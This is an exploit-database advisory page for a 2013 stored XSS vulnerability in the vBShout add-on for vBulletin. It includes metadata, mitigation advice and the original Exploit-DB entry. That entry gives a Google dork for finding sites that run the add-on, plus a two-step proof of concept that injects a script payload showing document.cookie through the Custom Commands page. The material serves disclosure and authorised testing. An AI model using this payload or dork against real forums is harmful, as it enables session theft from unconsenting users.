vBShout vBulletin - Stored XSS Vulnerability

vendor:

vBShout

by:

[]0iZy5

8,8

CVSS

HIGH

Stored XSS

CWE

Product Name: vBShout

Affected Version From: vBulletin 3.8.x

Affected Version To: vBulletin 5.x.x

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux & Windows

2013

vBShout vBulletin – Stored XSS Vulnerability

vBShout is vulnerable to a stored XSS vulnerability. An attacker can inject malicious JavaScript code into the application by adding a malicious hash tag in the Custom Commands page. This code will be executed when a user visits the page.

Mitigation:

Input validation should be used to prevent malicious code from being injected into the application. Additionally, users should be made aware of the potential risks of clicking on untrusted links.

Source

Exploit-DB raw data:

##########################################################################################
#
# Exploit Title: vBShout vBulletin - Stored XSS Vulnerability
# Google Dork: intext:vBShout
# Date: 10.07.2013
# Exploit Author: []0iZy5
# Vendor Homepage: www.backtrack-linux.ro
# Software Link: http://www.dragonbyte-tech.com/vbecommerce.php?do=product&productid=2
# Version: vBulletin 3.8.x, vBulletin 4.x.x, vBulletin 5.x.x  
# Tested on: Linux & Windows
#
##########################################################################################
#
# Stage 1: Go to -> UserCP -> Custom Commands 
# (Direct Link:) http://127.0.0.1/[path]/vbshout.php?do=profile&action=customcommands
#
# Stage 2: Add a malicious hash tag.
# (Example:) "><script>alert(document.cookie)</script>
#
##########################################################################################
#
# This was written for educational purpose only. use it at your own risk. 
# Author will be not responsible for any damage caused! user assumes all responsibility.  
# Intended for authorized web application pentesting only! 
#
##########################################################################################